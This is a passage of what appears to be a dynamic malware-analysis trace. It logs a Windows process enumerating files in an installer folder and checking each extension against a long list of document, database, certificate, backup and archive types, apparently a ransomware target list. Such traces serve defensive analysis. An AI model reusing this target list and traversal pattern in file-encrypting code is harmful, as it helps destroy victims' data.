lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".mdf") returned 4 [0063.301] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".mdw") returned 4 [0063.302] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mef") returned 4 [0063.302] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mft") returned 4 [0063.302] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mfw") returned 4 [0063.302] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mht") returned 4 [0063.302] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mhtml") returned 6 [0063.302] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0063.302] lstrlenW (lpString=".mka") returned 4 [0063.302] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mkidx") returned 6 [0063.302] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0063.302] lstrlenW (lpString=".mkv") returned 4 [0063.302] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mos") returned 4 [0063.302] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mov") returned 4 [0063.302] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mp3") returned 4 [0063.302] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mp4") returned 4 [0063.302] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mpeg") returned 5 [0063.302] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0063.302] lstrlenW (lpString=".mpg") returned 4 [0063.302] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mpv") returned 4 [0063.302] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mrw") returned 4 [0063.302] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".msg") returned 4 [0063.302] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0063.302] lstrlenW (lpString=".mxl") returned 4 [0063.302] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".myd") returned 4 [0063.303] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".myi") returned 4 [0063.303] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".nef") returned 4 [0063.303] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".nrw") returned 4 [0063.303] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".obj") returned 4 [0063.303] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".odb") returned 4 [0063.303] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".odc") returned 4 [0063.303] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".odm") returned 4 [0063.303] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".odp") returned 4 [0063.303] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".ods") returned 4 [0063.303] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".oft") returned 4 [0063.303] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".one") returned 4 [0063.303] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".onepkg") returned 7 [0063.303] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0063.303] lstrlenW (lpString=".onetoc2") returned 8 [0063.303] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0063.303] lstrlenW (lpString=".opt") returned 4 [0063.303] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".oqy") returned 4 [0063.303] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".orf") returned 4 [0063.303] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".p12") returned 4 [0063.303] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0063.303] lstrlenW (lpString=".p7b") returned 4 [0063.304] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".p7c") returned 4 [0063.304] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pam") returned 4 [0063.304] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pbm") returned 4 [0063.304] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pct") returned 4 [0063.304] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pcx") returned 4 [0063.304] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pdd") returned 4 [0063.304] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pdf") returned 4 [0063.304] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pdp") returned 4 [0063.304] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pef") returned 4 [0063.304] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pem") returned 4 [0063.304] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pff") returned 4 [0063.304] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pfm") returned 4 [0063.304] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pfx") returned 4 [0063.304] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".pgm") returned 4 [0063.304] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".php") returned 4 [0063.304] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0063.304] lstrlenW (lpString=".php3") returned 5 [0063.304] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0063.304] lstrlenW (lpString=".php4") returned 5 [0063.304] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0063.304] lstrlenW (lpString=".php5") returned 5 [0063.304] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0063.305] lstrlenW (lpString=".phtml") returned 6 [0063.305] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0063.305] lstrlenW (lpString=".pict") returned 5 [0063.305] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0063.305] lstrlenW (lpString=".pl") returned 3 [0063.305] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0063.305] lstrlenW (lpString=".pls") returned 4 [0063.305] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".pm") returned 3 [0063.305] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0063.305] lstrlenW (lpString=".png") returned 4 [0063.305] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".pnm") returned 4 [0063.305] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".pot") returned 4 [0063.305] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".potm") returned 5 [0063.305] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0063.305] lstrlenW (lpString=".potx") returned 5 [0063.305] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0063.305] lstrlenW (lpString=".ppa") returned 4 [0063.305] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".ppam") returned 5 [0063.305] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0063.305] lstrlenW (lpString=".ppm") returned 4 [0063.305] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".pps") returned 4 [0063.305] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".ppsm") returned 5 [0063.305] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0063.305] lstrlenW (lpString=".ppt") returned 4 [0063.305] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.305] lstrlenW (lpString=".pptm") returned 5 [0063.306] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0063.306] lstrlenW (lpString=".pptx") returned 5 [0063.306] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0063.306] lstrlenW (lpString=".prn") returned 4 [0063.306] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".ps") returned 3 [0063.306] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0063.306] lstrlenW (lpString=".psb") returned 4 [0063.306] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".psd") returned 4 [0063.306] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".pst") returned 4 [0063.306] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".ptx") returned 4 [0063.306] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".pub") returned 4 [0063.306] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".pwm") returned 4 [0063.306] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".pxr") returned 4 [0063.306] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".py") returned 3 [0063.306] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0063.306] lstrlenW (lpString=".qt") returned 3 [0063.306] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0063.306] lstrlenW (lpString=".r3d") returned 4 [0063.306] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0063.306] lstrlenW (lpString=".raf") returned 4 [0063.306] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".rar") returned 4 [0063.307] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".raw") returned 4 [0063.307] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".rdf") returned 4 [0063.307] lstrcmpiW (lpString1=".rdf", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".rgbe") returned 5 [0063.307] lstrcmpiW (lpString1=".rgbe", lpString2="a.rtf") returned -1 [0063.307] lstrlenW (lpString=".rle") returned 4 [0063.307] lstrcmpiW (lpString1=".rle", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".rqy") returned 4 [0063.307] lstrcmpiW (lpString1=".rqy", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".rss") returned 4 [0063.307] lstrcmpiW (lpString1=".rss", lpString2=".rtf") returned -1 [0063.307] lstrlenW (lpString=".rtf") returned 4 [0063.307] lstrcmpiW (lpString1=".rtf", lpString2=".rtf") returned 0 [0063.307] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.307] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.307] lstrlenW (lpString=".1cd") returned 4 [0063.307] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.307] lstrlenW (lpString=".3ds") returned 4 [0063.307] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0063.307] lstrlenW (lpString=".3fr") returned 4 [0063.307] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0063.307] lstrlenW (lpString=".3g2") returned 4 [0063.307] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0063.307] lstrlenW (lpString=".3gp") returned 4 [0063.307] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0063.307] lstrlenW (lpString=".7z") returned 3 [0063.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.307] lstrlenW (lpString=".accda") returned 6 [0063.307] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1 [0063.307] lstrlenW (lpString=".accdb") returned 6 [0063.307] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1 [0063.307] lstrlenW (lpString=".accdc") returned 6 [0063.308] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1 [0063.308] lstrlenW (lpString=".accde") returned 6 [0063.308] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1 [0063.308] lstrlenW (lpString=".accdt") returned 6 [0063.308] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1 [0063.308] lstrlenW (lpString=".accdw") returned 6 [0063.308] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1 [0063.308] lstrlenW (lpString=".adb") returned 4 [0063.308] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".adp") returned 4 [0063.308] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ai") returned 3 [0063.308] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0063.308] lstrlenW (lpString=".ai3") returned 4 [0063.308] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ai4") returned 4 [0063.308] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ai5") returned 4 [0063.308] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ai6") returned 4 [0063.308] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ai7") returned 4 [0063.308] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ai8") returned 4 [0063.308] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".anim") returned 5 [0063.308] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1 [0063.308] lstrlenW (lpString=".arw") returned 4 [0063.308] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".as") returned 3 [0063.308] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0063.308] lstrlenW (lpString=".asa") returned 4 [0063.308] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".asc") returned 4 [0063.308] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0063.308] lstrlenW (lpString=".ascx") returned 5 [0063.308] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1 [0063.309] lstrlenW (lpString=".asm") returned 4 [0063.309] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0063.309] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.309] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.309] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0063.309] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.309] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0063.309] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26 [0063.309] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582c08 [0063.309] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.309] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.310] lstrlenW (lpString="eula.rtf") returned 8 [0063.310] lstrlenW (lpString=".1cd") returned 4 [0063.310] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".3ds") returned 4 [0063.310] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".3fr") returned 4 [0063.310] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".3g2") returned 4 [0063.310] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".3gp") returned 4 [0063.310] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".7z") returned 3 [0063.310] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.310] lstrlenW (lpString=".accda") returned 6 [0063.310] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0063.310] lstrlenW (lpString=".accdb") returned 6 [0063.310] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0063.310] lstrlenW (lpString=".accdc") returned 6 [0063.310] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0063.310] lstrlenW (lpString=".accde") returned 6 [0063.310] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0063.310] lstrlenW (lpString=".accdt") returned 6 [0063.310] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0063.310] lstrlenW (lpString=".accdw") returned 6 [0063.310] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0063.310] lstrlenW (lpString=".adb") returned 4 [0063.310] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".adp") returned 4 [0063.310] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".ai") returned 3 [0063.310] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0063.310] lstrlenW (lpString=".ai3") returned 4 [0063.310] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".ai4") returned 4 [0063.310] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0063.310] lstrlenW (lpString=".ai5") returned 4 [0063.310] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".ai6") returned 4 [0063.311] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".ai7") returned 4 [0063.311] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".ai8") returned 4 [0063.311] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".anim") returned 5 [0063.311] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0063.311] lstrlenW (lpString=".arw") returned 4 [0063.311] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".as") returned 3 [0063.311] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0063.311] lstrlenW (lpString=".asa") returned 4 [0063.311] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".asc") returned 4 [0063.311] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".ascx") returned 5 [0063.311] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0063.311] lstrlenW (lpString=".asm") returned 4 [0063.311] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".asmx") returned 5 [0063.311] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0063.311] lstrlenW (lpString=".asp") returned 4 [0063.311] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".aspx") returned 5 [0063.311] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0063.311] lstrlenW (lpString=".asr") returned 4 [0063.311] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".asx") returned 4 [0063.311] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".avi") returned 4 [0063.311] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".avs") returned 4 [0063.311] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0063.311] lstrlenW (lpString=".backup") returned 7 [0063.311] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0063.311] lstrlenW (lpString=".bak") returned 4 [0063.312] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".bay") returned 4 [0063.312] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".bd") returned 3 [0063.312] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0063.312] lstrlenW (lpString=".bin") returned 4 [0063.312] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".bmp") returned 4 [0063.312] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".bz2") returned 4 [0063.312] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".c") returned 2 [0063.312] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0063.312] lstrlenW (lpString=".cdr") returned 4 [0063.312] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".cer") returned 4 [0063.312] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".cf") returned 3 [0063.312] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0063.312] lstrlenW (lpString=".cfc") returned 4 [0063.312] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".cfm") returned 4 [0063.312] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".cfml") returned 5 [0063.312] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0063.312] lstrlenW (lpString=".cfu") returned 4 [0063.312] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".chm") returned 4 [0063.312] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".cin") returned 4 [0063.312] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0063.312] lstrlenW (lpString=".class") returned 6 [0063.312] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0063.312] lstrlenW (lpString=".clx") returned 4 [0063.312] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".config") returned 7 [0063.313] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0063.313] lstrlenW (lpString=".cpp") returned 4 [0063.313] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".cr2") returned 4 [0063.313] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".crt") returned 4 [0063.313] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".crw") returned 4 [0063.313] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".cs") returned 3 [0063.313] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0063.313] lstrlenW (lpString=".css") returned 4 [0063.313] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".csv") returned 4 [0063.313] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".cub") returned 4 [0063.313] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".dae") returned 4 [0063.313] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".dat") returned 4 [0063.313] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 